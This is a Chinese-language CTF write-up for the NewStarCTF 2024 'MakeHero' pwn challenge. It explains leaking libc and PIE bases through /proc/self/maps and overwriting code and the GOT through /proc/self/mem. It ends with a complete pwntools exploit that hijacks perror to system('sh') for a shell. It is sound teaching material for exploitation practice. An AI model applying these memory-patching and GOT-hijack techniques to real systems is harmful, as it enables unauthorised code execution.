proc
linux的根目录下的proc里存放着当前正在运行的进程,通过pid号来访问各个进程运行的信息
proc里的self则存放打开这个文件的进程信息如果通过cat指令cat /proc/self/maps
则会显示/usr/bin/cat
这个进程下的内存映射信息
如果通过某个可执行文件的open函数来打开/proc/self/maps
则会显示当前文件下的内存分布信息,因此/proc/self/maps
可以用来泄露libcbase,PIEbase,heapbase
类似于gdb中vmmap查看内存映射信息
/proc/self/mem
则允许访问当前进程的内存内容,若对/proc/self/mem
直接进行修改,相当于修改本文件下的内存数据,而且对该文件修改可以忽略内存权限直接修改,不仅仅可以修改段,也可以修改r x段直接影响程序运行
例题
2024NewStarCTF week4 MakeHero
分析
初始化函数,此处读取/proc/self/maps
内容打印libcbase和piebase
如图所示
main函数提供了两次进入sub_1369()
函数的机会,sub_1369()
就是打开/proc/self/mem
并修改
lseek的偏移在mem文件中和在运行中的文件一样,偏移量也一样,根据此处的偏移去寻找地址,并用write函数进行修改,一次仅仅能修改一个字节
main函数中仅有两次修改机会,第一次修改elf文件,第二次修改libc文件
思路
本题思路全程修改elf,没用到修改libc,在v5==1进入if执行修改elf
第一次修改,修改text段,把v5==1处的jnz改成jz这样后续可以继续进入if判断来修改elf
第二三次修改,把!v5–处的jnz改成jz,之后再改回来,这样v5为0时不会退出后续v5减成负数程序也不会退出
三次修改完,程序可以无限次修改elf,此处把sub_1369()
里的perror()
函数的got表指向system,write字符串改成sh,这样,只要执行到perror("write")
就可以getshell,为了触发这个错误,把write函数的第三个参数修改,这样write的返回值不为1,跳到perror("write")
成功getshell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| from pwn import* from LibcSearcher import* from ctypes import* context(log_level='debug',arch='amd64',os='linux')
libc=ELF('./pwn_tools/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6') libc=ELF('./libc.so.6') e=ELF('./pwn') r=process('./MakeHero')
s = lambda content : r.send(content) sl = lambda content : r.sendline(content) sa = lambda content,send : r.sendafter(content, send) sla = lambda content,send : r.sendlineafter(content, send) rc = lambda number : r.recv(number) ru = lambda content : r.recvuntil(content)
ru("** ") pie=ru(" ")[:-1] pie=int(pie,16) ru("## ") base=ru(" ")[:-1] base=int(base,16) log.success(hex(pie)) log.success(hex(base)) sl("1")
pause() sl(hex(pie+0x17e4)) sleep(1) sl("74") pause() gdb.attach(r) sl(hex(pie+0x1881)) sleep(1) sl("84") pause() sl(hex(pie+0x1881)) sleep(1) sl("85")
pause() sl(hex(pie+0x2031)) sleep(1) sl("73") pause() sl(hex(pie+0x2032)) sleep(1) sl("68") pause() sl(hex(pie+0x2033)) sleep(1) sl("00")
pause() sl(hex(pie+0x3fb0+1)) sleep(1) sl("0d")
libcbase=base//0x100000 libcbase=libcbase%0x10*0x10+5 print(libcbase) pause() sl(hex(pie+0x3fb0+2)) sleep(1) gdb.attach(r) sl(hex(libcbase))
pause() sl(hex(pie+0x140e+3)) sleep(1) sl("2")
r.interactive()
|